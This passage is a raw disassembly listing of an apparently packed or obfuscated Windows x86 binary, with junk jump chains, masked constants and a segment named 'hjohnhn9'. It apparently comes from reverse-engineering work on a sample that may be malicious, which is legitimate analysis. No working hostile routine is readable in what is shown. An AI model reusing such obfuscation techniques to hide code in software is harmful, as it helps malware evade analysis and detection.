proc near ; CODE XREF: sub_427564-2F8Aj ; sub_427564:loc_426FE9j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00425F06 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426449 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004264B2 SIZE 00000005 BYTES push ebx push 98984D98h pop ebx and ebx, 6D900BAh rol ebx, 1Ch add ebx, 6AE0741Ah xor ebx, 0EAE9D433h xchg ebx, [esp+4+var_4] jmp loc_425F06 sub_427DE6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424EC9 loc_427E0A: ; CODE XREF: sub_424EC9:loc_4262D5j mov eax, ebx xchg eax, [esp+0] mov [ebp-4], eax push 0DBABFA75h pop eax xor eax, 2DBE023Ah add eax, 31B1A774h or eax, ds:4000F3h jmp loc_427298 ; END OF FUNCTION CHUNK FOR sub_424EC9 ; --------------------------------------------------------------------------- loc_427E2F: ; DATA XREF: sub_4246DB+8o mov esp, ebp pop ebp mov eax, ds:dword_4233AC or eax, eax jmp loc_4261EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427032 loc_427E3F: ; CODE XREF: sub_427032:loc_424491j mov edx, [ebp-8] mov eax, [ebp-4] loc_427E45: ; CODE XREF: sub_4263E3:loc_425056j call sub_426B29 call sub_424361 loc_427E4F: ; CODE XREF: sub_428E76+1Cj jmp loc_426847 ; END OF FUNCTION CHUNK FOR sub_427032 ; =============== S U B R O U T I N E ======================================= sub_427E54 proc near ; DATA XREF: sub_428DDB+9o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00423E31 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424127 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00428EE5 SIZE 00000006 BYTES cdq add eax, [esp+0] adc edx, [esp+arg_0] add esp, 8 movzx eax, word ptr [eax] shl eax, 2 jmp loc_424127 sub_427E54 endp ; sp-analysis failed ; --------------------------------------------------------------------------- sub ebx, 6BB8CAEFh jmp loc_424816 ; --------------------------------------------------------------------------- locret_427E75: ; CODE XREF: hjohnhn9:0042672Bj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_427E76: ; CODE XREF: sub_427C9B+84j jmp loc_423433 ; END OF FUNCTION CHUNK FOR sub_427C9B ; =============== S U B R O U T I N E ======================================= sub_427E7B proc near ; CODE XREF: sub_424AE3+Cp ; FUNCTION CHUNK AT 00426C6F SIZE 00000005 BYTES push offset dword_424E24 jmp loc_426C6F sub_427E7B endp ; =============== S U B R O U T I N E ======================================= sub_427E85 proc near ; CODE XREF: hjohnhn9:004233CEj ; sub_426F5A:loc_426BA8p ; FUNCTION CHUNK AT 0042418D SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00426E75 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427475 SIZE 0000000B BYTES xchg eax, [esp+0] pop eax jz loc_427475 lea eax, [ebp-125h] jmp loc_42418D sub_427E85 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov ebx, eax call sub_4275B2 ; START OF FUNCTION CHUNK FOR sub_426475 loc_427EA1: ; CODE XREF: sub_426475-436j jmp loc_426E9B ; END OF FUNCTION CHUNK FOR sub_426475 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4235D8 loc_427EA6: ; CODE XREF: sub_4235D8+Bj mov ds:dword_423940, eax ; END OF FUNCTION CHUNK FOR sub_4235D8 ; START OF FUNCTION CHUNK FOR sub_4278EC loc_427EAB: ; CODE XREF: hjohnhn9:loc_423C44j ; sub_427A36-178Bj ... js loc_42382E cmp ds:dword_423944, 0 jnz loc_4243F7 push offset loc_423815 jmp nullsub_44 ; END OF FUNCTION CHUNK FOR sub_4278EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428271 loc_427EC8: ; CODE XREF: sub_428271:loc_4281ACj jnz loc_428EF2 mov eax, [ebp-14h] mov eax, [eax+24h] add eax, [ebp-4] push offset sub_428DDB jmp loc_427F5A ; END OF FUNCTION CHUNK FOR sub_428271 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_427EE2: ; CODE XREF: sub_423B05:loc_425E64j add ebp, 0CC738441h add esi, 5BCE1CEAh cmp edx, ecx jmp loc_423648 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- loc_427EF5: ; CODE XREF: hjohnhn9:00424CBAj jo loc_427085 ; START OF FUNCTION CHUNK FOR sub_42851A loc_427EFB: ; CODE XREF: sub_42851A-3617j add ebx, 7E1A2B03h xchg ebx, [esp+0Ch+var_C] jmp loc_424603 ; END OF FUNCTION CHUNK FOR sub_42851A ; --------------------------------------------------------------------------- loc_427F09: ; CODE XREF: hjohnhn9:loc_424941j xor edx, 0F82B8AEDh push edx ; START OF FUNCTION CHUNK FOR sub_4263E3 loc_427F10: ; CODE XREF: sub_4263E3:loc_428A14j push esi mov esi, eax xchg esi, [esp+4+var_4] call sub_42855B call sub_4262C5 add esp, 10h jmp loc_4265E9 ; END OF FUNCTION CHUNK FOR sub_4263E3 ; --------------------------------------------------------------------------- sbb edx, 0F867FFC7h jmp sub_428718 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42677F loc_427F33: ; CODE XREF: sub_42677F:loc_423C56j mov edx, ecx xchg edx, [esp+14h+var_14] mov eax, esp ; END OF FUNCTION CHUNK FOR sub_42677F ; START OF FUNCTION CHUNK FOR sub_424819 loc_427F3A: ; CODE XREF: sub_424819+6j push 0 mov edx, esp jmp loc_4272E4 ; END OF FUNCTION CHUNK FOR sub_424819 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_427F43 proc near ; CODE XREF: sub_4262C5:loc_4251E6j retn sub_427F43 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426638 loc_427F44: ; CODE XREF: sub_426638-352Fj jmp loc_426139 ; END OF FUNCTION CHUNK FOR sub_426638 ; --------------------------------------------------------------------------- loc_427F49: ; CODE XREF: hjohnhn9:0042301Cj ; hjohnhn9:004267A1j jmp loc_426B9C ; --------------------------------------------------------------------------- loc_427F4E: ; CODE XREF: hjohnhn9:loc_427FE8j jz loc_428BA0 jmp loc_4273DD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_44. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428271 loc_427F5A: ; CODE XREF: sub_428271-395j jmp nullsub_48 ; END OF FUNCTION CHUNK FOR sub_428271 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426638 loc_427F5F: ; CODE XREF: sub_426638+Bj jmp loc_4230FD ; END OF FUNCTION CHUNK FOR sub_426638 ; --------------------------------------------------------------------------- loc_427F64: ; CODE XREF: hjohnhn9:00428FE7j jz loc_42476D jmp loc_423075 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_47. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DC loc_427F70: ; CODE XREF: sub_4278DC+Bj jmp loc_428FEC ; END OF FUNCTION CHUNK FOR sub_4278DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424564 loc_427F75: ; CODE XREF: sub_424564+15j jmp loc_426402 ; END OF FUNCTION CHUNK FOR sub_424564 ; --------------------------------------------------------------------------- ror ebp, 11h jmp sub_424E5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427852 loc_427F82: ; CODE XREF: sub_427852:loc_425156j dec dword ptr [ebp-1Ch] jnz loc_426AA2 jmp loc_428883 ; END OF FUNCTION CHUNK FOR sub_427852 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427F90 proc near ; CODE XREF: sub_4278B9-44A1p ; sub_4241F3+7p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042440F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004275E4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428496 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00428F6C SIZE 00000022 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF4h mov [ebp+var_4], eax mov eax, [ebp+var_4] mov [ebp+var_C], eax jmp loc_4275E4 sub_427F90 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231AD loc_427FA4: ; CODE XREF: sub_4231AD:loc_4265C8j mov al, [ebp-5] pop ecx pop ecx pop ebp jmp loc_4249DC ; END OF FUNCTION CHUNK FOR sub_4231AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265CD loc_427FAF: ; CODE XREF: sub_4265CD:loc_426B68j cmp ecx, 5E24A82Eh loc_427FB5: ; CODE XREF: hjohnhn9:00424139j jmp loc_425D6F ; END OF FUNCTION CHUNK FOR sub_4265CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4284CB loc_427FBA: ; CODE XREF: sub_4284CB:loc_425B97j call nullsub_4 loc_427FBF: ; CODE XREF: sub_4240E6+Bj ; sub_428ABB+7j mov eax, ds:dword_426E3C call sub_427A58 loc_427FC9: ; CODE XREF: sub_424564+1EC4j jmp loc_426559 ; END OF FUNCTION CHUNK FOR sub_4284CB ; =============== S U B R O U T I N E ======================================= sub_427FCE proc near ; CODE XREF: sub_424A78:loc_427800j push ebp mov eax, [ebp-20h] call sub_423B6C pop ecx jmp loc_4241DB sub_427FCE endp ; =============== S U B R O U T I N E ======================================= sub_427FDD proc near ; DATA XREF: sub_4263E3:loc_4290A8o push eax ror eax, 0Eh mov ds:dword_42339C, eax retn sub_427FDD endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_427FE8: ; CODE XREF: hjohnhn9:004236DFj jmp loc_427F4E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263E3 loc_427FED: ; CODE XREF: sub_4263E3+8j rol eax, 0Eh jmp loc_4250A8 ; END OF FUNCTION CHUNK FOR sub_4263E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279C0 loc_427FF5: ; CODE XREF: sub_4279C0-15FEj mov al, 1 pop edx call edx ; GetModuleHandleA xor eax, eax mov [ebp+var_4], eax jmp loc_4279A9 ; END OF FUNCTION CHUNK FOR sub_4279C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_428004: ; CODE XREF: sub_427486:loc_427921j ; hjohnhn9:00427942j xor edx, 0B78BAB96h push eax pushf push 795F89B4h pop eax sub eax, 0C50DC6EFh and eax, 1CB6C470h rol eax, 1Eh jmp loc_42721D ; END OF FUNCTION CHUNK FOR sub_427486 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_92. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423AAF loc_428027: ; CODE XREF: sub_423AAF+C15j jmp sub_424877 ; END OF FUNCTION CHUNK FOR sub_423AAF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4245BA loc_42802C: ; CODE XREF: sub_4245BA+13j jmp nullsub_46 ; END OF FUNCTION CHUNK FOR sub_4245BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_428031: ; CODE XREF: sub_4262C5+33Aj jnz loc_4264E6 add ecx, edi add eax, 699293F1h cmp ebp, 0C0F19894h jmp loc_423C0D ; END OF FUNCTION CHUNK FOR sub_4262C5 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E8C loc_42804B: ; CODE XREF: sub_426E8C-25A0j jmp loc_426852 ; END OF FUNCTION CHUNK FOR sub_426E8C ; --------------------------------------------------------------------------- loc_428050: ; CODE XREF: hjohnhn9:00423510j push eax mov eax, ebp xchg eax, [esp] mov ebp, esp push ecx jmp loc_423E01 ; --------------------------------------------------------------------------- loc_42805E: ; DATA XREF: sub_428ABB+Do lea edx, [ebp-14h] mov eax, offset dword_426E40 call sub_427AEB lea eax, [ebp-14h] push eax loc_42806F: ; CODE XREF: hjohnhn9:loc_428515j call sub_427A36 jmp loc_4284D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_428079: ; CODE XREF: sub_42304F+11E4j call sub_428D1E loc_42807E: ; CODE XREF: sub_4290CF+Aj mov eax, [ebp-14h] mov eax, [eax+24h] add eax, [ebp-4] xor edx, edx push edx jmp loc_424A33 ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DC loc_42808F: ; CODE XREF: sub_4278DC+1727j jnz loc_42515B jmp loc_424BA3 ; --------------------------------------------------------------------------- loc_42809A: ; CODE XREF: sub_4278DC-3542j xor esi, 0FED4AF4Dh add esi, 637C60D5h xchg esi, [esp+4+var_4] jmp sub_4244F5 ; END OF FUNCTION CHUNK FOR sub_4278DC ; --------------------------------------------------------------------------- loc_4280AE: ; CODE XREF: hjohnhn9:00424444j ; hjohnhn9:loc_42487Dj jnb loc_427266 sbb ebp, 0E6C0B23Ch jmp sub_427324 ; --------------------------------------------------------------------------- loc_4280BF: ; DATA XREF: sub_4240E6:loc_42744Eo mov eax, offset dword_426E40 call sub_427AEB lea eax, [ebp-14h] push eax jmp loc_428515 ; =============== S U B R O U T I N E ======================================= sub_4280D2 proc near ; CODE XREF: hjohnhn9:00424FD8j ; sub_426475-8F4p arg_0 = dword ptr 4 xchg esi, [esp+0] pop esi xchg ecx, [esp-4+arg_0] jmp sub_424AAE sub_4280D2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push esi push 7AA4790Dh pop esi and esi, 0C25CDF42h test esi, 80000000h jmp loc_423265 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428271 loc_4280F6: ; CODE XREF: sub_428271:loc_42350Bj adc edx, [esp+arg_0] add esp, 8 mov eax, [eax] add eax, [ebp-4] call sub_427F90 cmp eax, [ebp-8] jmp loc_4281AC ; END OF FUNCTION CHUNK FOR sub_428271 ; --------------------------------------------------------------------------- jbe loc_4247F8 jmp sub_428C4E ; --------------------------------------------------------------------------- mov edx, 0A1E8B87Bh jmp sub_427994 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_428124: ; CODE XREF: sub_424631+14j call sub_428788 loc_428129: ; CODE XREF: sub_425DE4+9j pop eax rol eax, 1 sub eax, ds:4000F0h add eax, 19868220h mov eax, [eax] or eax, eax jnz loc_423B9C jmp loc_425B0E ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- add edx, ebx mov [edx], ebx jmp sub_4281B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F85 loc_428150: ; CODE XREF: sub_426F85:loc_42726Dj test eax, eax jl loc_428EEB push offset loc_426A97 jmp nullsub_81 ; END OF FUNCTION CHUNK FOR sub_426F85 ; =============== S U B R O U T I N E ======================================= sub_428162 proc near ; CODE XREF: sub_4241D2+4p ; hjohnhn9:00428A66j xchg esi, [esp+0] pop esi call sub_424698 pop ecx mov [ebp-20h], eax jmp loc_424C37 sub_428162 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427B51 loc_428174: ; CODE XREF: sub_427B51:loc_427B58j test byte ptr [ebp-8], 2 jz loc_424C37 jmp sub_4234CA ; END OF FUNCTION CHUNK FOR sub_427B51 ; =============== S U B R O U T I N E ======================================= sub_428183 proc near ; DATA XREF: sub_428183-4E3Do ; FUNCTION CHUNK AT 0042332F SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0042335C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424EAA SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00428B11 SIZE 00000005 BYTES pop eax cmp dword ptr [eax], 0 jnz loc_424EAA jmp sub_427C43 sub_428183 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428192 proc near ; CODE XREF: sub_428183-4E42p ; hjohnhn9:loc_4239E7j ... ; FUNCTION CHUNK AT 004247CF SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00428253 SIZE 0000000A BYTES jnb loc_428253 push ebp mov ebp, esp mov esp, ebp jmp loc_4247CF sub_428192 endp ; --------------------------------------------------------------------------- loc_4281A2: ; DATA XREF: sub_428477-4A9Bo pop ecx ; START OF FUNCTION CHUNK FOR sub_425BF2 loc_4281A3: ; CODE XREF: sub_425BF2:loc_4290C9j xchg esi, [esp-8+arg_4] mov ebp, esi pop esi retn 0Ch ; END OF FUNCTION CHUNK FOR sub_425BF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428271 loc_4281AC: ; CODE XREF: sub_428271-167j jmp loc_427EC8 ; END OF FUNCTION CHUNK FOR sub_428271 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_119. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xchg edi, esi jmp sub_42636C ; =============== S U B R O U T I N E ======================================= sub_4281B9 proc near ; CODE XREF: sub_424631+37Fp ; hjohnhn9:0042814Bj xchg ebx, [esp+0] pop ebx jnz loc_423F3D mov eax, [ebp+8] push eax mov eax, [ebp+8] push offset loc_428DC2 jmp nullsub_47 sub_4281B9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4281D4: ; CODE XREF: hjohnhn9:00425FD7j jnz near ptr dword_4236FC+14h jmp loc_426D46 ; --------------------------------------------------------------------------- jnp loc_426889 jmp loc_424A75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424946 loc_4281EA: ; CODE XREF: sub_424946:loc_429018j pop ebx add eax, edx push esi push 2E2B81F4h jmp loc_42898A ; END OF FUNCTION CHUNK FOR sub_424946 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426749 loc_4281F8: ; CODE XREF: sub_426749+2717j call sub_427AEB lea eax, [ebp-14h] push eax call sub_427A36 mov ds:dword_426E6C, eax mov ds:byte_426E54, 1 lea eax, [ebp-14h] jmp loc_42373A ; END OF FUNCTION CHUNK FOR sub_426749 ; --------------------------------------------------------------------------- loc_42821A: ; DATA XREF: sub_4249BF+3o xchg ebx, [esp] mov ebp, esp push ecx mov esp, ebp xchg esi, [esp] mov ebp, esi jmp loc_425B57 ; --------------------------------------------------------------------------- loc_42822C: ; CODE XREF: hjohnhn9:004230B7j jg loc_426BEA test ebp, edx jmp loc_425EB4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_13. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42823A: ; CODE XREF: hjohnhn9:004285BCj jmp loc_4268F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427852 loc_42823F: ; CODE XREF: sub_427852+AE0j jmp loc_424064 ; END OF FUNCTION CHUNK FOR sub_427852 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425029 loc_428244: ; CODE XREF: sub_425029+1Dj jmp loc_428999 ; END OF FUNCTION CHUNK FOR sub_425029 ; =============== S U B R O U T I N E ======================================= sub_428249 proc near ; CODE XREF: sub_4248B1+15p ; hjohnhn9:00426B7Bj ; FUNCTION CHUNK AT 00427632 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx push eax jmp loc_427632 sub_428249 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428192 loc_428253: ; CODE XREF: sub_428192j push offset sub_42870E jmp nullsub_105 ; END OF FUNCTION CHUNK FOR sub_428192 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427564 loc_42825D: ; CODE XREF: sub_427564:loc_42901Dj add ecx, ebp add ecx, 268E381Eh mov [ecx], eax xchg esi, [esp+0] mov ecx, esi call sub_425EEA ; END OF FUNCTION CHUNK FOR sub_427564 ; =============== S U B R O U T I N E ======================================= sub_428271 proc near ; CODE XREF: hjohnhn9:00426AF1j ; sub_427852+16C9p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042350B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424073 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00426B80 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00427EC8 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00427F5A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004280F6 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 004281AC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004286E6 SIZE 0000000B BYTES xchg edx, [esp+0] pop edx push edx push eax mov eax, [ebp-18h] jmp loc_426B80 sub_428271 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42345B loc_42827F: ; CODE XREF: sub_42345B+50E2j xchg edi, [esp+8+var_8] jmp nullsub_2 ; END OF FUNCTION CHUNK FOR sub_42345B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F65 loc_428287: ; CODE XREF: sub_423F65:loc_427550j add eax, ebp add eax, 50FF1F19h mov eax, [eax] call sub_424C5F retn ; END OF FUNCTION CHUNK FOR sub_423F65 ; --------------------------------------------------------------------------- locret_428297: ; CODE XREF: hjohnhn9:0042408Ej retn ; --------------------------------------------------------------------------- pushf jmp sub_4241F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424B97 loc_42829E: ; CODE XREF: sub_424B97:loc_424EBEj pop edx push edx push 0FF748C5Ah pop edx and edx, 7188AD6Ch sub edx, 9D9846B5h js loc_427420 adc ebx, 5158AB9h jmp loc_42741C ; END OF FUNCTION CHUNK FOR sub_424B97 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_74. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_4282C4: ; CODE XREF: sub_424819+2AD9j jmp loc_424013 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- loc_4282C9: ; CODE XREF: hjohnhn9:0042720Ej jmp loc_4269D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278B9 loc_4282CE: ; CODE XREF: sub_4278B9-4499j jmp loc_4267FC ; END OF FUNCTION CHUNK FOR sub_4278B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_4282D3: ; CODE XREF: sub_42304F+19j jmp loc_42781A ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423425 loc_4282D8: ; CODE XREF: sub_423425:loc_4278D7j push ecx push offset loc_423A05 jmp nullsub_50 ; END OF FUNCTION CHUNK FOR sub_423425 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_25. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_4282E4: ; CODE XREF: sub_4260BD:loc_426E4Dj jz loc_42794A jmp loc_427714 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_4282EF: ; CODE XREF: sub_424A78:loc_4248CBj pop ecx mov [ebp-20h], eax jmp loc_4242D9 ; END OF FUNCTION CHUNK FOR sub_424A78 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4282F8 proc near ; CODE XREF: sub_424A78+2175p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004247D9 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00425BC8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426189 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426A5D SIZE 00000005 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF4h mov [ebp+var_4], eax mov eax, [ebp+var_4] jmp loc_4247D9 sub_4282F8 endp ; =============== S U B R O U T I N E ======================================= sub_428309 proc near ; CODE XREF: hjohnhn9:00424A02j ; sub_42897B+Ap ; FUNCTION CHUNK AT 0042491D SIZE 00000005 BYTES xchg edi, [esp+0] pop edi mov esp, ebp push offset loc_426561 jmp loc_42491D sub_428309 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427852 loc_428319: ; CODE XREF: sub_427852:loc_425F3Aj add esp, 8 mov eax, [eax] add eax, [ebp-4] call sub_427F90 loc_428326: ; CODE XREF: sub_424161+423j cmp eax, [ebp-8] jnz loc_428EF2 mov eax, [ebp-14h] jmp loc_42823F ; END OF FUNCTION CHUNK FOR sub_427852 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_428337: ; CODE XREF: sub_4260BD-2014j mov esi, 7CAB0713h loc_42833C: ; CODE XREF: sub_4260BD:loc_42409Bj xor ebx, 81F09744h add ebx, ebp add ebx, 0B28572C8h mov [ebx], eax jmp loc_42497B ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- loc_428351: ; CODE XREF: hjohnhn9:00423C34j jnb loc_42465A ; =============== S U B R O U T I N E ======================================= sub_428357 proc near ; CODE XREF: sub_42865B+7p ; FUNCTION CHUNK AT 004232C8 SIZE 00000009 BYTES xchg eax, [esp+0] pop eax shr eax, 0Bh jmp loc_4232C8 sub_428357 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_428363: ; CODE XREF: hjohnhn9:loc_428EC5j call near ptr dword_4236FC+32h loc_428368: ; CODE XREF: hjohnhn9:00427C87j jmp loc_429094 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42486B loc_42836D: ; CODE XREF: sub_42486B+7j jmp loc_428F71 ; END OF FUNCTION CHUNK FOR sub_42486B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_428372: ; CODE XREF: sub_42325E:loc_423E01j mov esp, ebp pop ebp push 7178371Ch pop eax jmp loc_423E36 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- dword_428380 dd 0 ; DATA XREF: sub_4264FA+Dw dword_428384 dd 0 ; DATA XREF: sub_42851A-1D4Dr ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_428388: ; CODE XREF: sub_426354-48j jmp loc_425C05 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D9D loc_42838D: ; CODE XREF: sub_427D9D:loc_424EECj jmp loc_4264BC ; END OF FUNCTION CHUNK FOR sub_427D9D ; --------------------------------------------------------------------------- dw 89D4h dword_428394 dd 0 ; DATA XREF: hjohnhn9:00425B58r ; sub_425D27+Aw dword_428398 dd 0 ; DATA XREF: sub_423B05+7r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_42839C: ; CODE XREF: sub_424631+3790j jmp nullsub_53 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427AC0 loc_4283A1: ; CODE XREF: sub_427AC0:loc_425C3Bj xor eax, 0C62E2D94h add eax, ebp add eax, 19D39E5Dh mov eax, [eax] push esi mov esi, eax call sub_42387A ; END OF FUNCTION CHUNK FOR sub_427AC0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_30. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4251EB loc_4283BA: ; CODE XREF: sub_4251EB+15j jmp loc_425FDC ; END OF FUNCTION CHUNK FOR sub_4251EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_4283BF: ; CODE XREF: sub_426354-15D3j jmp loc_426E07 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424181 loc_4283C4: ; CODE XREF: sub_424181+7j jmp loc_425ED0 ; END OF FUNCTION CHUNK FOR sub_424181 ; =============== S U B R O U T I N E ======================================= sub_4283C9 proc near ; CODE XREF: hjohnhn9:00425FF2j ; hjohnhn9:loc_4266BEj ; DATA XREF: ... arg_0 = dword ptr 4 add eax, 0E260B5A1h popf xchg eax, [esp-4+arg_0] jmp sub_42897B sub_4283C9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426708 loc_4283D8: ; CODE XREF: sub_426708-1F54j xchg eax, [esp+4+var_4] jmp sub_424877 ; END OF FUNCTION CHUNK FOR sub_426708 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426CE6 loc_4283E0: ; CODE XREF: sub_426CE6:loc_423EC1j mov eax, [eax] push offset loc_426BAD jmp loc_42376C ; END OF FUNCTION CHUNK FOR sub_426CE6 ; --------------------------------------------------------------------------- adc ebx, 6F014DE4h jmp sub_426D6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423CDB loc_4283F7: ; CODE XREF: sub_423CDB+3066j mov eax, [ebp-14h] mov eax, [eax+18h] dec eax test eax, eax jl loc_4244EE inc eax jmp loc_424CA5 ; END OF FUNCTION CHUNK FOR sub_423CDB ; --------------------------------------------------------------------------- adc eax, ecx jmp sub_42486B ; [00000001 